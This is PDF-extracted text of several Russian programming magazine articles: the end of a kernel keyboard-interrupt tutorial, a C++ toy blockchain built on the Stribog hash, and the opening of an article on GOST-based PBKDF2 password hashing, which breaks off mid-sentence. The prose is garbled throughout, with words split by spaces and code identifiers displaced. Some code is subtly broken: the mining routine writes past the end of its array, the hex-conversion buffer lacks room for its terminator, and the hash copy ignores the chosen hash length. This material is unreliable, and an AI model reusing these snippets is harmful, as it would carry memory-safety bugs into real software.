записи.  Все  это  сде лано  для  сов мести мос ти  с  286‐ми  про цес сорами.
Как видишь,  Intel выделы вает такие номера на регуляр ной осно ве и во мно‐ 
гих‐мно гих мес тах!

В записи  IDT нам оста лось про писать тип, обоз начив таким обра зом, что
все это дела ется, что бы отло вить пре рыва ние. Еще нам нуж но задать офсет
сег мента кода ядра. GRUB зада ет   за нас. Каж дая запись GDT име ет дли‐ 
ну 8 байт, где дес крип тор кода ядра — это вто рой сег мент, так что его офсет
сос тавит 0x08 (под робнос ти не вле зут в эту статью). Гейт пре рыва ния пред‐ 
став лен  как  0x8e.  Оставши еся  в  середи не  8  бит  запол няем  нулями.  Таким
обра зом, мы запол ним запись IDT, которая соот ветс тву ет кла виатур ному пре‐ 
рыва нию.

GDT

Ког да  с мап пингом  IDT  будет  покон чено,  нам  надо будет  сооб щить  про‐ 
цес сору,  где находит ся  IDT. Для это го сущес тву ет ассем блер ная инс трук ция
lidt, она при нима ет один опе ранд. Им слу жит ука затель на дес крип тор струк‐ 
туры, которая опи сыва ет IDT.

С  дес крип тором  никаких  слож ностей.  Он  содер жит  раз мер  IDT  в  бай тах
и его адрес. Я исполь зовал мас сив,  что бы выш ло  ком пак тнее. Точ но  так же
мож но запол нить дес крип тор при помощи струк туры.

В перемен ной    у  нас есть  ука затель,  который мы переда ем инс‐ 
трук ции   в фун кции  .

idr_ptr
lidt load_idt()

load_idt:
   mov edx, [esp + 4]
   lidt [edx]
   sti
   ret

До пол нитель но  фун кция    воз вра щает  пре рыва ние  при  исполь‐ 
зовании инс трук ции  .

load_idt()
sti

За пол нив и заг рузив IDT, мы можем обра тить ся к IRQ кла виату ры, исполь‐ 
зуя мас ку пре рыва ния, о которой мы говори ли ранее.

void kb_init(void)
{
   write_port(0x21 , 0xFD);
}

 — это   — вклю чаем толь ко IRQ1 (кла виату ру).0xFD 11111101

ФУНКЦИЯ — ОБРАБОТЧИК ПРЕРЫВАНИЯ КЛАВИАТУРЫ
Итак,  мы  успешно  при вяза ли  пре рыва ния  кла виату ры  к  фун кции 

,  соз дав  запись  IDT  для  пре рыва ния  0x21.  Эта  фун кция  будет
вызывать ся каж дый раз, ког да ты нажима ешь на какую‐нибудь кноп ку.

keyboard‐
_handler

keyboard_handler:                 
   call    keyboard_handler_main
   iretd

Эта  фун кция  вызыва ет  дру гую  фун кцию,  написан ную  на  C,  и  воз вра щает
управле ние  при  помощи  инс трук ций  клас са  iret.  Мы  мог ли  бы  тут  написать
весь наш обра бот чик, но на C кодить зна читель но лег че, так что перека тыва‐ 
емся  туда.  Инс трук ции    нуж но  исполь зовать  вмес то  ,  ког да
управле ние воз вра щает ся из фун кции, обра баты вающей пре рыва ние, в прог‐ 
рамму, выпол нение которой было им прер вано. Этот класс инс трук ций под‐ 
нима ет фла говый регистр, который попада ет в стек при вызове пре рыва ния.

iret/iretd ret

void keyboard_handler_main(void) {
   unsigned char status;
   char keycode;
   /* Пишем EOI */
   write_port(0x20, 0x20);
   status = read_port(KEYBOARD_STATUS_PORT);
   /* Нижний бит статуса будет выставлен, если буфер не пуст */
   if (status & 0x01) {
       keycode = read_port(KEYBOARD_DATA_PORT);
       if(keycode < 0)
           return;
       vidptr[current_loc++] = keyboard_map[keycode];
       vidptr[current_loc++] = 0x07;   
   }
}

Здесь  мы  сна чала  даем  сиг нал  EOI  (End  Of  Interrupt,  окон чание  обра бот ки
пре рыва ния), записав его в коман дный порт PIC. Толь ко пос ле это го PIC раз‐ 
решит  даль нейшие  зап росы  на  пре рыва ние.  Нам  нуж но  читать  два  пор та:
порт дан ных 0x60 и порт команд (он же status port) 0x64.

Пер вым делом чита ем порт 0x64, что бы получить ста тус. Если ниж ний бит
ста туса — это ноль, зна чит, буфер пуст и дан ных для чте ния нет. В дру гих слу‐ 
чаях мы можем читать порт дан ных 0x60. Он будет выдавать нам код нажатой
кла виши.  Каж дый  код  соот ветс тву ет  одной  кноп ке. Мы  исполь зуем  прос той
мас сив сим волов, задан ный в фай ле  , что бы при вязать коды
к соот ветс тву ющим сим волам. Затем сим вол выводит ся на экран при помощи
той же тех ники, что мы при меня ли в пер вой вер сии ядра.

keyboard_map.h

Что бы не усложнять код, я здесь обра баты ваю толь ко строч ные бук вы от a
до z и циф ры от 0 до 9. Ты с лег костью можешь добавить спец симво лы, Alt,
Shift  и  Caps  Lock.  Узнать,  что  кла виша  была  нажата  или  отпу щена,  мож но
из вывода коман дно го пор та и выпол нять соот ветс тву ющее дей ствие. Точ но
так же можешь при вязать любые сочета ния кла виш к спе циаль ным фун кци ям
вро де вык лючения.

Те перь  ты  можешь  соб рать  ядро,  запус тить  его  на  реаль ной  машине
или на эму лято ре (QEMU) так же, как и в пер вой час ти.

И начинай печатать!

https://rubenlaguna.com/
https://wiki.osdev.org/
https://www.osdever.net/
http://www.gnu.org/software/grub/manual/multiboot/multiboot.html
https://github.com/arjun024/mkeykernel
https://en.wikipedia.org/wiki/Global_Descriptor_Table
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КОДИНГ

Блок чейн  и  все,  что  с  ним  свя зано,  нын че  у  всех  на  слу ху,
и  на  сегод няшний  день  вряд  ли  мож но  най ти  изда ние,
которое  обош ло  эту  тему  сво им  вни мани ем.  Мы  тоже
не  оста вались  в  сто роне  и  в  свое  вре мя  под робно 

,  что  собой  пред став ляет  блок чейн,  зачем  он  нужен
и что мож но с ним делать. Сегод ня мы поп робу ем рас смот‐ 
реть дан ную тему с прак тичес кой сто роны и напишем прос‐ 
тей ший  локаль ный блок чейн. Сра зу  ого ворюсь,  что  до  пол‐ 
ноцен ного  блок чейн‐про екта  ему  далеко,  одна ко  с  его
помощью  впол не  мож но  получить  общее  пред став ление
о том, как работа ет эта тех нология изнутри.

ра зоб‐ 
рались

ОБЩАЯ СТРУКТУРА НАШЕГО БЛОКЧЕЙНА
Итак,  наш  блок чейн  (как  и  положе но)  будет  пред став лять  собой  цепоч ку
из бло ков, каж дый из которых вклю чает в себя сле дующее:

но мер бло ка  ;• [index]

мет ка вре мени  ;• [timestamp]

со дер жание тран закции  ;• [transaction]

зна чение  так  называ емо го  доказа тель ства  работы    (о  том,  что
это такое, чуть ниже);

• [proof]

зна чение хеш‐сум мы пре дыду щего бло ка  ;• [previous hash]

зна чение хеш‐сум мы текуще го бло ка  .• [hash]

В  содер жание  тран закции  мы  вклю чим  отпра вите ля  денеж ных  средств 
, имя получа теля этих средств   и количес тво передан ных

денеж ных средств  . Для прос тоты в блок будем вклю чать све дения
толь ко об одной тран закции.

[
sender] [recipient]

[amount]

Об щая струк тура бло ка, таким обра зом, будет выг лядеть вот так:

block = {
 'index': 2,
 'timestamp': 1527444458,
 'transactions': [
   {
     'sender': "Petrov",
     'recipient': "Ivanov",
     'amount': 15418,
   }
 ],
 'proof': 4376,
 'previous hash': "000bdf8cd989eb26be64a07b80a8cdcaf27476d847

3efbde66c9dd857b94ab9",
 'hash' : "00e86d5fce9d492c8fac40762fa3f4eee9a4ae4a17ee834be69

aa05dff1309cc"
}

По мимо  оче ред ных  текущих  бло ков,  блок чейн  дол жен  вклю чать  в  себя
началь ный  (или  пер вый)  блок,  с  которо го,  собс твен но  говоря,  и  начина ется
вся  цепоч ка  бло ков.  Этот  блок  называ ется  genesis‐бло ком,  и  он,  в  отли чие
от  текущих  бло ков,  содер жит  в  себе  толь ко  номер  (который  всег да  равен
нулю),  мет ку  вре мени,  какое‐либо  ран домное  зна чение  вмес то  хеш‐сум мы
пре дыду щего  бло ка  (пос коль ку  genesis‐блок  пер вый  и  пре дыду щего  бло ка
у него прос то‐нап росто нет) и собс твен ное зна чение хеш‐сум мы:

genesisblock = {
 'index': 0,
 'timestamp': 1527443257,
 'random hash': "f2fcc3da79c77883a11d5904e53b684ded8d6bb4b5bc73370df

e7942c1cd7ebf",
 'hash' : "3fe4364375ef31545fa13aa94ec10abdfdead26307027cf2905

73a249a209a62"
}

В целом наш блок чейн будет выг лядеть сле дующим обра зом.

Об щая схе ма нашего блок чей на

ФУНКЦИЯ ПОДСЧЕТА ХЕШ-СУММЫ
Пос коль ку для под сче та хешей мы соб рались исполь зовать алго ритм «Стри‐ 
бог»  (про  который  ),  нам  необ ходима  соот ветс тву ющая фун‐ 
кция. Ее мы напишем, исполь зуя код из ука зан ной статьи. 
и под клю чаем в наш про ект нуж ные фай лы сле дующей строч кой:

мы  уже  писали
Ка чаем его отсю да

# include "gost_3411_2012/gost_3411_2012_calc.h"

Са му фун кцию объ явим так:

std::string get_hash_stribog(std::string str)

Да лее  объ явля ем  струк туру  для  хра нения  резуль татов  под сче та  хешей
и выделя ем для нее память:

...
TGOSTHashContext *CTX;
CTX = (TGOSTHashContext*)(malloc(sizeof(TGOSTHashContext)));
...

Пос коль ку  в  теле  бло ка  зна чения  хеш‐сумм  пред став лены  в  виде  строк,  то
фун кция дол жна получить на вход содер жимое бло ка в виде стро ки. Для это го
напишем сле дующее:

...
// Преобразуем строку входных данных к виду const char
const char *c = str.c_str();
// Формируем буфер для входных данных и копируем в него входные 
данные
uint8_t *in_buffer;
in_buffer = (uint8_t *)malloc(str.size());
memcpy(in_buffer, c, str.size());
...

Да лее счи таем хеш:

...
GOSTHashInit(CTX, HASH_SIZE);
GOSTHashUpdate(CTX, in_buffer, str.size());
GOSTHashFinal(CTX);
...

Пос коль ку  выход фун кции  тоже  дол жен быть  в  виде  стро ки,  а  рас счи тан ное
зна чение  хеша  пред став лено  в  виде  бай тового  мас сива,  нам  необ ходимо
сде лать  соот ветс тву ющее  пре обра зова ние.  Сде лаем  это  сле дующим  обра‐ 
зом (  — дли на хеш‐сум мы, 512 или 256 бит, выберем 256):HASH_SIZE

...
// Формируем буфер для выходных данных
char out_buffer[2 * (HASH_SIZE / 8)];
// Пишем в буфер значение хеш‐суммы
for (int i = 0; i < HASH_SIZE / 8; i++)
 sprintf(out_buffer + i * 2, "%02x", CTX‐>hash[i]);

// Не забываем освободить выделенную память
free(CTX);
free(in_buffer);
// Возвращаем строку с хеш‐суммой
return std::string((const char *)out_buffer);

Фун кция по рас чету хешей у нас готова, мож но писать даль ше.

ФАЙЛ BLOCK.H
В  этом  фай ле  опи шем  класс  CBlock,  в  который  вой дет  все,  что  нам  нуж но
для  соз дания  бло ка  (как  оче ред ного,  так  и  genesis‐бло ка).  Одна ко  преж де
чем  опи сывать  сам  класс,  опре делим  струк туру,  которая  будет  опи сывать
тран закцию.  Как  мы  уже  решили,  тран закция  будет  вклю чать  в  себя  три
поля — отпра витель, получа тель и сум ма тран закции:

struct STransaction {
 std::string sender;
 std::string recipient;
 uintmax_t amount;

};

Те перь мож но прис тупить  к опи санию нашего  клас са CBlock. В него  вхо дит
public‐сек ция,  вклю чающая  два  конс трук тора  (тот,  который без  парамет ров,
слу жит для ини циали зации genesis‐бло ка,  а  тот,  который с  парамет рами, —
для  ини циали зации  оче ред ных  бло ков);  метод,  соз дающий  genesis‐блок;
метод, с помощью которо го будет май нить ся оче ред ной блок; метод, записы‐ 
вающий зна чение хеша пре дыду щего бло ка в нуж ное мес то текуще го бло ка;
метод  получе ния  зна чения  хеша  бло ка  из  соот ветс тву юще го  поля  и  private‐
сек ция со все ми необ ходимы ми полями (номер бло ка, имя бло ка, мет ка вре‐ 
мени и так далее) и одним методом под сче та хеш‐сум мы:

class CBlock {
 public:
   CBlock();
   CBlock(uint32_t index_in, const std::string &in_name_block, const
std::string &in_sender,
     const std::string &in_recipient, uintmax_t in_amount);
   void create_genesis_block();
   void mine_block(uint32_t diff);
   void set_previous_hash(std::string in_previous_hash);
   std::string get_hash();
 private:
   uintmax_t index; // Номер блока
   std::string name_block; // Имя блока
   time_t time_stamp; // Метка времени
   STransaction transaction; // Транзакция
   uintmax_t proof; // Доказательство выполнения работы
   std::string previous_hash; // Хеш предыдущего блока
   std::string hash; // Хеш текущего блока
   std::string calc_hash() const; // Метод подсчета хеша
};

Те перь  мож но  написать  реали зацию  всех  ука зан ных  методов.  Все  это  мы
помес тим в файл  .block.cpp

ФАЙЛ BLOCK.CPP
В начале не забудем написать

# include "block.h"

Конс трук тор для ини циали зации genesis-бло ка
Как  было  ска зано  выше,  конс трук тор  без  парамет ров  нужен  для  ини циали‐ 
зации  genesis‐бло ка.  Поле,  содер жащее  мет ку  вре мени,  ини циали зиру ется
зна чени ем  текуще го  вре мени,  поле  с  име нем  бло ка  —  стро кой  «Genesis
block», все осталь ное по нулям:

CBlock::CBlock() : index(0), name_block("Genesis block"), transaction
{"None", "None", 0}, proof(0){
 time_stamp = time(nullptr);

}

Конс трук тор для ини циали зации оче ред ного бло ка
Здесь мы ини циали зиру ем все поля нуж ными зна чени ями (оче ред ной номер
бло ка, имя бло ка, нап ример «Current block», зна чения полей тран закции и так
далее):

CBlock::CBlock(uint32_t index_in, const std::string &in_name_block, 
const std::string &in_sender, const std::string &in_recipient, uintma
x_t in_amount) : index(index_in), name_block(in_name_block), transa
ction {in_sender, in_recipient, in_amount}, proof(0) {
 time_stamp = time(nullptr);

}

Соз даем genesis-блок
Ос новное,  что  нуж но  сде лать,  —  это  сге нери ровать  ран домное  зна чение
хеша для записи его в мес то, пред назна чен ное для хеша пре дыду щего бло ка.

void CBlock::create_genesis_block(){
 // Инициализируем ГСЧ текущим временем
 srand(time(nullptr));
 // Заносим в строку случайное число
 std::stringstream ss;
 ss << rand();
 // В нужное поле заносим хеш, посчитанный из рандомной строки
 previous_hash = get_hash_stribog(ss.str());
 // Считаем хеш genesis‐блока
 hash = calc_hash();

}

Май ним оче ред ной блок
Ос новная  цель  май нин га —  сде лать  так,  что бы  фор мирова ние  оче ред ного
бло ка было некото рым обра зом зат ратным (в общем слу чае тре бова ло вре‐ 
мени и зна читель ных вычис литель ных ресур сов). Для это го реали зуем алго‐ 
ритм  доказа тель ства  работы  ( )  по  ана логии  с  боль шинс твом
извес тных крип товалют. Суть это го алго рит ма зак люча ется в перебо ре под‐ 
счи тан ных хеш‐сумм бло ка, пока не выпол нится опре делен ное усло вие.

Proof  of  work

Для того что бы зна чения хеш‐сум мы бло ка при каж дой ите рации под сче та
были  раз ными,  нуж но  каж дую  ите рацию  каким‐то  обра зом  менять  что‐либо
в содер жимом бло ка. Для это го мы в опи сании клас са опре дели ли поле proof,
зна чение  которо го  каж дую  ите рацию  будем  уве личи вать  на  еди ницу.  Усло‐ 
вием,  по  которо му  будем  прек ращать  ите раци онный  под счет  хеш‐сумм,
будет  наличие  в  начале  получив шей ся  в  резуль тате  оче ред ной  ите рации
хеш‐сум мы опре делен ного количес тва нулей.

В  общем  слу чае  чем  боль шим  количес твом  нулей  в  начале  хеша  мы
зададим ся, тем боль шее количес тво ите раций необ ходимо про делать, что бы
получил ся иско мый хеш. Количес тво нулей в начале хеша опре деля ется уров‐ 
нем слож ности diff.

Об щая схе ма доказа тель ства работы (Proof of work)

Ис ходя  из  все го  это го,  метод,  реали зующий  май нинг  бло ка,  напишем  сле‐ 
дующим обра зом:

void CBlock::mine_block(uint32_t diff){
 // Делаем строку из нулей размером в diff
 char zero_ch[diff];
 memset(zero_ch, '0', diff);
 zero_ch[diff] = '\0';
 std::string zero_str(zero_ch);
 // Делаем итерационный подсчет хеша, пока не получим нужное 

количество нулей в начале
 do {
   hash = calc_hash();
   proof++;
 } while (hash.substr(0, diff) != zero_str);

}

Счи таем хеш оче ред ного бло ка
В пре дыду щем методе исполь зовал ся метод calc_hash(), с помощью которо‐ 
го  и  осу щест вля ется  под счет  хеш‐сум мы  бло ка.  Тут  все  прос то  —  содер‐ 
жимое бло ка засовы ваем в одну стро ку и с помощью фун кции get_hash_stri‐
bog(), которую мы опи сали в самом начале, получа ем иско мое зна чение хеша
от получив шей ся стро ки:

std::string CBlock::calc_hash() const {
 std::stringstream ss;
 ss << index << time_stamp << transaction.sender << transaction.

recipient << transaction.amount << proof << previous_hash;
 return get_hash_stribog(ss.str());

}

За писы ваем в блок зна чение хеша пре дыду щего бло ка
Здесь все прос то, обыч ный сет тер:

void CBlock::set_previous_hash(std::string in_previous_hash){
 previous_hash = in_previous_hash;

}

Чи таем зна чение хеша бло ка из поля hash
Здесь так же все очень прос то:

std::string CBlock::get_hash(){
 return hash;

}

Итак, класс CBlok, из которо го в даль нейшем мы будем делать бло ки, мы опи‐ 
сали и реали зова ли, теперь нуж но эти бло ки скла дывать в цепоч ку. Для это го
напишем класс CBlockchain.

ФАЙЛ BLOCKCHAIN.H
В начале под клю чим опи сание клас са CBlock:

# include "block.h"

В public‐сек цию клас са запишем:
конс трук тор с вход ным парамет ром  , зада ющим слож ность май‐ 
нин га бло ков;

• in_diff

ме тод, добав ляющий в блок чейн genesis‐блок;•
ме тод, добав ляющий в блок чейн оче ред ной блок.•

В private‐сек цию опре делим:
по ле, в котором будем хра нить зна чение слож ности май нин га;•
по ле,  в  котором  будем  хра нить  цепоч ку  наших  бло ков,  пред став ляющее
динами чес кий мас сив  типа  vector  (что бы это сде лать,  не  забудь под клю‐ 
чить соот ветс тву ющую биб лиоте ку vector.h);

•

ме тод,  воз вра щающий  пре дыду щий  блок  из  цепоч ки,  для  того  что бы
вытащить из него хеш‐сум му.

•

По луча ем сле дующий код:

class CBlockchain {
 public:
   CBlockchain(uint32_t in_diff);
   void add_genesis_block(CBlock new_block);
   void add_block(CBlock new_block);
 private:
   uint32_t diff; // Сложность майнинга
   std::vector<CBlock> chain; // Цепочка блоков
   CBlock get_last_block() const;
};

Класс CBlockchain опи сан, мож но писать его реали зацию.

ФАЙЛ BLOCKCHAIN.CPP
В пер вой строч ке под клю чим толь ко что написан ный  :blockchain.h

# include "blockchain.h"

Ини циали зиру ем блок чейн
Конс трук тор  клас са  вклю чает  одну  стро ку,  в  которой  очи щает ся  мас сив
для хра нения бло ков.

CBlockchain::CBlockchain(uint32_t in_diff) : diff(in_diff){
 chain.clear();

}

До бав ляем genesis-блок
В  метод  для  добав ления  genesis‐бло ка  запишем  фун кцию  его  соз дания
из  клас са CBlock,  пос ле  чего  соз данный  блок  помеща ем  в  начало мас сива
для хра нения бло ков:

void CBlockchain::add_genesis_block(CBlock new_block){
 new_block.create_genesis_block();
 chain.emplace_back(new_block);

}

До бав ляем оче ред ной блок
В этом методе получа ем хеш пре дыду щего бло ка, май ним оче ред ной блок (с
уче том поля diff) и помеща ем смай нен ный блок в мас сив:

void CBlockchain::add_block(CBlock new_block){
 // Пишем в нужное место хеш‐сумму предыдущего блока
 new_block.set_previous_hash(get_last_block().get_hash());
 // Майним очередной блок
 new_block.mine_block(diff);
 // Помещаем его в цепочку блоков
 chain.push_back(new_block);

}

Здесь  исполь зует ся  метод  ,  воз вра щающий  пре дыду щий
блок,  что бы  из  него  мож но  было  про читать  зна чение  его  хеш‐сум мы.
Написать его осо бых слож ностей не пред став ляет:

get_last_block()

CBlock CBlockchain::get_last_block() const {
 return chain.back();

}

За пус тив получив ший ся блок чейн у себя на компь юте ре, я поп робовал смай‐ 
нить  три  бло ка  с  раз ными  уров нями  слож ности  май нин га.  Для  слож ности,
рав ной шес ти, три бло ка май нились нем ного мень ше часа. Для семер ки один
блок  май нил ся  око ло  полуто ра  часов,  даль ше  экспе римен тировать  у  меня
тер пения не хва тило.

Ре зуль таты май нин га трех бло ков (с уров нем слож ности, рав ным шес ти,
три бло ка май нились пять десят минут)

Дис петчер задач при этом показы вал, что основные уси лия про цес сора нап‐ 
равле ны исклю читель но на решение задачи Proof of work.

Дис петчер задач сиг нализи рует, что на дан ный момент самая зат ратная
задача — май нинг бло ков

ЗАКЛЮЧЕНИЕ
Ко неч но, мы упрости ли и не учли очень мно гое: и рас пре делен ность самого
блок чей на,  и  про цеду ры  дос тижения  кон сенсу са,  и  воз можность  вклю чения
боль шего количес тва тран закций в один блок, и под твержде ние целос тнос ти
этих  тран закций  с  помощью  деревь ев  Мер кла,  да  и  мно го  чего  еще...
Но  во‐пер вых,  в  одну  статью  это  все  никак  не  умес тить,  а  во‐вто рых,  цель
статьи  все‐таки  нем ного  дру гая  —  положить  начало  в  не  сов сем  лег ком,
но  весь ма  инте рес ном  деле  осво ения  это го  пер спек тивно го  нап равле ния.
Даль ше качай    ( ),  исходни ки 

 и  , читай, вни кай, раз бирай ся.
White Paper Bitcoin в  том чис ле и на рус ском Bit‐

coin Ethereum
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  в  виде  про екта
на Qt

•Весь  код  нашего  блок чей на
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https://github.com/drobotun/stribog
https://ru.bitcoinwiki.org/wiki/Proof-Of-Work
https://bitcoin.org/bitcoin.pdf
http://bitcoinwhitepapers.com/bitcoin_ru.pdf
https://github.com/bitcoin/bitcoin
https://github.com/ethereum/go-ethereum
https://github.com/drobotun/blockchain_xakep
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КОДИНГ

На вер няка  тебе  извес тно,  что  хорошая  сис тема  кон тро ля
дос тупа,  осно ван ная  на  вво де  и  про вер ке  пра виль нос ти
пароля,  никог да  и  ниг де  не  сох раня ет  пароли  в  откры том
виде,  а  про веря ет  вве ден ный  поль зовате лем  пароль
с  исполь зовани ем  хеш‐сум мы  это го  пароля.  А  очень
хорошие сис темы еще и добав ляют к ним «соль» — слу чай‐ 
ную  стро ку,  которая  для  каж дого  поль зовате ля  уни каль на.
В этой статье мы на прак тике рас смот рим воп росы пра виль‐ 
ного  хеширо вания  паролей,  руководс тву ясь  при  этом  акту‐ 
аль ными рос сий ски ми методи чес кими рекомен даци ями.

Как выг лядят записи в базе дан ных поль зовате лей «хороших сис тем кон тро ля
дос тупа»? При мер но так (здесь вид ны имя учет ной записи поль зовате ля, зна‐ 
чение соли и зна чение хеша):

...
"Ivanov"  "QxLUF1bgIAdeQX" c9e209040c863f84a31e719795b25775239547
"Petrov"  "bv5PehSMfV11Cd" d1d3ec2e6f20fd420d50e2642992841d8338a3
"Sidorov" "YYLmfY6IehjZMQ" a49670c3c18b9e079b9cfaf51634f563dc88ed
...

Та ким обра зом, на осно ве вве ден ного поль зовате лем пароля и соот ветс тву‐ 
юще го ему зна чения соли с помощью того или ино го алго рит ма вычис ляет ся
хеш. Далее он срав нива ется с записан ным в базе: если они сов пада ют, поль‐ 
зователь допус кает ся в сис тему, если не сов пада ют, поль зовате лю в допус ке
будет  отка зано.  Все,  в  общем‐то,  сов сем  не  слож но.  Глав ный  воп рос  зак‐ 
люча ется в том, каким обра зом и каким алго рит мом счи тать этот самый хеш
из зна чений вве ден ного пароля и соли. Если как сле дует порыть ся в весь ма
объ емном ворохе оте чес твен ных нор матив но‐методи чес ких докумен тов, пос‐ 
вящен ных  крип тогра фии,  то  мож но  обна ружить  документ,  который  поможет
нам дать ответ на этот воп рос.

До кумент  называ ется  «
. Информа цион ная тех нология. Крип тогра фичес кая защита информа ции.

Пароль ная  защита  клю чевой  информа ции».  Он  раз работан  тех ничес ким
комите том по  стан дарти зации  ТК  26  «Крип тогра фичес кая  защита  информа‐ 
ции» и пред став ляет собой рас ширение 

  (Public  Key  Cryptography  Standart:  Password‐Based  Cryptography
Specification): в про цеду ру хеширо вания, опи сан ную в PKCS #5, вне сена воз‐ 
можность  исполь зовать  алго ритм  из  ГОСТ  Р  34.11—2012  (да‐да,  это  тот
самый «Стри бог» — похоже, нын че без него никуда).

Ре комен дации  по  стан дарти зации  Р  50.1.111—
2016

меж дународ ного стан дарта PKCS #5
Version  2.0

ОБЩАЯ СХЕМА И ИСХОДНЫЕ ДАННЫЕ
Ос нову  алго рит ма  получе ния  хеша  сос тавля ет  так  называ емая  фун кция
дивер сифика ции PBKDF вер сии 2.0 (Password‐Based Key Derivation Function).
Дан ная фун кция  реали зует ся  путем  при мене ния  псев дослу чай ной  хеш‐фун‐ 
кции к стро ке, в нашем слу чае к паролю, вмес те с солью, про цесс пов торя‐ 
ется боль шое чис ло раз.

Об щая схе ма выработ ки нуж ного нам хеша

В  качес тве псев дослу чай ной  хеш‐фун кции мы будем исполь зовать фун кцию
вычис ления  аутен тифика цион ного  кода  сооб щения  HMAC_GOST3411  (Hash‐
based  Message  Authentication  Code)  на  осно ве,  как  ты  уже  догадал ся,
хеш‐фун кции «Стри бог». Исходные дан ные для алго рит ма:

вве ден ный поль зовате лем пароль (дли на не более 512 бит, или 64 байт);•
зна чение соли (про изволь ной дли ны);•
чис ло ите раций (минималь но допус тимое зна чение — 1000, мак сималь но
допус тимое — 4 294 967 295);

•

не обхо димая дли на вычис ляемо го хеша.•

ПСЕВДОСЛУЧАЙНАЯ ХЕШ-ФУНКЦИЯ HMAC_GOST3411
Са ма фун кция HMAC_GOST3411 опи сана в дру гом нор матив но‐методи чес ком
докумен те   и вклю чает в себя сле дующие эта пы:Р 50.1.113—2016

до пол нение нулями вве ден ного пароля до дли ны в 64 байт (конеч но, в том
слу чае, если его дли на мень ше это го зна чения);

•

по бай товое сло жение по модулю 2 получив шегося на пре дыду щем эта пе
допол ненно го пароля с 64‐бай товой кон стан той  ,  в  которой каж дый
байт равен 0x36;

•
ipad

кон катена ция  получив шегося  на  пре дыду щем  эта пе  зна чения  с  солью
и под счет «стри бог»‐хеша из получен ной стро ки;

•

кон катена ция резуль тата побай тового xor допол ненно го пароля с 64‐бай‐ 
товой  кон стан той    (зна чение  каж дого  бай та  рав но  0x5c)  с  получив‐ 
шимся на пре дыду щем эта пе резуль татом;

•
opad

под счет «стри бог»‐хеша из резуль тата пре дыду щего эта па.•

Схе ма фун кции HMAC_GOST3411

Пе ред  тем  как  писать  код  самой  фун кции  HMAC_GOST3411,  необ ходимо
опре делить  нуж ные  кон стан ты    и    и  написать  фун кцию  под сче та
«стри бог»‐хеша бай тового мас сива про изволь ной дли ны.

ipad opad

Оп ределе ние кон стант
Пос коль ку в ходе под сче та зна чений хеш‐сумм мы опе риру ем 64‐бай товыми
бло ками, то зададим раз мер это го бло ка:

#define BLOCK_SIZE 64

Кон стан ту   опре делим таким обра зом:ipad

uint8_t i_pad[BLOCK_SIZE] = {
 0x36, 0x36, 0x36, 0x36, 0x36, ... , 0x36, 0x36

};

а кон стан ту   таким:opad

uint8_t o_pad[BLOCK_SIZE] = {
 0x5c, 0x5c, 0x5c, 0x5c, 0x5c, ... , 0x5c, 0x5c

};

Для эко номии мес та здесь кон стан ты опи саны не пол ностью, на самом деле
каж дая из них дли ной по 64 байт.

Фун кция под сче та «стри бог»-хеша
Для  начала    нуж ные  фай лы  (про  них  мы  ),
в которых реали зова ны базовые фун кции алго рит ма «Стри бог»:

ска чаем  и  под клю чим уже  писали

#include "gost_3411_2012_calc.h"

Да лее напишем саму фун кцию. На вход фун кции пода ется ука затель на стро ку
с исходны ми дан ными, ука затель на мас сив, куда будет записан иско мый хеш,
дли на иско мого хеша (512 или 256 бит) и дли на мас сива исходных дан ных:

static void
GetHashString(uint8_t *str, uint8_t *hash,
 int hash_size, size_t size_str)

Оп ределя ем струк туру CTX для хра нения все го, что нуж но при под сче те хеша,
и выделя ем для нее память:

TGOSTHashContext *CTX;
CTX = (TGOSTHashContext*)(malloc(sizeof(TGOSTHashContext)));

Соз даем про межу точ ный буфер и записы ваем в него исходную стро ку:

uint8_t *buffer;
buffer = malloc(size_str);
memcpy(buffer, str, size_str);

Счи таем хеш‐сум му и пишем резуль тат в выход ной бай товый мас сив:

GOSTHashInit(CTX, hash_size);
GOSTHashUpdate(CTX, buffer, size_str);
GOSTHashFinal(CTX);
memcpy(hash, CTX‐>hash, BLOCK_SIZE);

Пи шем непос редс твен но саму фун кцию HMAC_GOSTR3411
Объ явим эту фун кцию таким обра зом:

static void
HMAC_GOSTR3411(const uint8_t *K, size_t size_K,
 const uint8_t *T, size_t size_T,
 uint8_t *HMAC)

На  вход идут:  ука затель  на бай товый мас сив  с  паролем,  дли на  пароля,  ука‐ 
затель на бай товый мас сив с солью, дли на соли и ука затель на бай товый мас‐ 
сив, куда будем записы вать резуль тат вычис лений.

Да лее  про изве дем  допол нение  пароля  нулями  и  пок сорим  резуль тат
допол нения с  :ipad

uint8_t internal_1 [2 * BLOCK_SIZE];
uint8_t *internal_2;
uint8_t hash[BLOCK_SIZE];
internal_2 = malloc(BLOCK_SIZE + size_T);
uint8_t K_[BLOCK_SIZE];
memset(K_, 0x00, BLOCK_SIZE);
memcpy(K_, K, size_K);
add_xor_64(K_, i_pad, internal_2);

При соеди ним  к  получен ному  соль  и  вычис лим  зна чение  «стри бог»‐хеша
получен ного мас сива:

memcpy(internal_2 + BLOCK_SIZE, T, size_T);
GetHashString(internal_2, hash, 512, BLOCK_SIZE + size_T);

Пок сорим  допол ненный  пароль  с  ,  соеди ним  с  хешем,  вычис ленным
на  пре дыду щем  шаге,  и  вто рой  раз  пос чита ем  «стри бог»‐хеш.  Резуль тат
запишем в HMAC:

opad

add_xor_64(K_, o_pad, internal_1);
memcpy(internal_1 + BLOCK_SIZE, hash, BLOCK_SIZE);
GetHashString(internal_1, HMAC, 512, 2 * BLOCK_SIZE);

Ос нова  фун кции  PBKDF  в  виде  HMAC_GOSTR3411  написа на,  мож но  прис‐ 
тупать к реали зации непос редс твен но самой PBKDF.

PASSWORD-BASED KEY DERIVATION FUNCTION
Пер вым  делом  необ ходимо  опре делить  количес тво  64‐бай товых  бло ков
в  иско мом  хеше,  для  чего  уста нов ленную  ранее  дли ну  нуж ного  нам  хеша
от пароля и соли делим на 64 и округля ем резуль тат до бли жай шего целого
в  боль шую  сто рону  (к  при меру,  если  тре буемая  дли на  иско мого  хеша  рав‐ 
на  100  байт,  то  количес тво  бло ков  будет  рав но  двум,  в  стан дарте
про  округле ние  в  боль шую  сто рону  нап рямую  не  ска зано,  одна ко  это  надо
иметь в  виду). Количес тво бло ков иско мого  хеша опре деля ет  чис ло цик лов,
каж дый из которых вклю чает в себя некото рое чис ло ите раций   (об этом чис‐ 
ле мы уже говори ли выше).

C

Ре зуль татом  пер вой  ите рации  будет  резуль тат  вычис ления  HMAC_‐
GOSTR3411 от пароля и зна чения соли с при соеди нен ным к нему зна чени ем
